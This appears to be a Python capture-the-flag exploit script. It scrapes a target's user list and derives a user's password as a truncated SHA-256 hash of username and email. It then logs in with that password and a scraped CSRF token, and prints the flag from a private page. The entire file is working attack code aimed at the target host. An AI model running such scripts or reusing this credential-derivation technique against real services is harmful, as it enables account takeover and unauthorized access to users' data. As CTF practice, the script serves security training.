#!/usr/bin/env python3

import sys
import requests
from hashlib import sha256
from binascii import hexlify
from bs4 import BeautifulSoup


HOST = sys.argv[1]
PORT = 5000

def get_password(username, email):
    m = sha256()
    m.update(username.encode('utf-8'))
    m.update(email.encode('utf-8'))
    res = m.digest()[:10]
    return hexlify(res).decode('utf-8')

def get_users():
    global HOST, PORT
    res = requests.get('http://{}:{}/users'.format(HOST, PORT))
    users_ = res.text
    soup = BeautifulSoup(users_, 'lxml')
    i = soup.findAll('td', {'class':'pwnCompany', 'style':True})[-1]
    d_ = i.string.split()
    s = requests.session()
    username = d_[1]
    email = d_[2][1:-1]
    password = get_password(username, email)
    res = s.get('http://{}:{}/login'.format(HOST, PORT)).text
    soup = BeautifulSoup(res, 'lxml')
    csrf = soup.findAll('input', {'id':'csrf_token'})[0]['value']
    res = s.post('http://{}:{}/login'.format(HOST, PORT), data={'csrf_token':csrf,
                                                              'username':username,
                                                              'password':password,
                                                              'submit':'Sign+In'})
    res = s.get('http://{}:{}/private'.format(HOST, PORT)).text
    soup  = BeautifulSoup(res, 'lxml')
    flag = soup.findAll('div', {'class':'TD', 'style':'max-width: 100%; overflow-x: scroll'})[-1].string[1:-1]
    print(flag, flush=True)
get_users()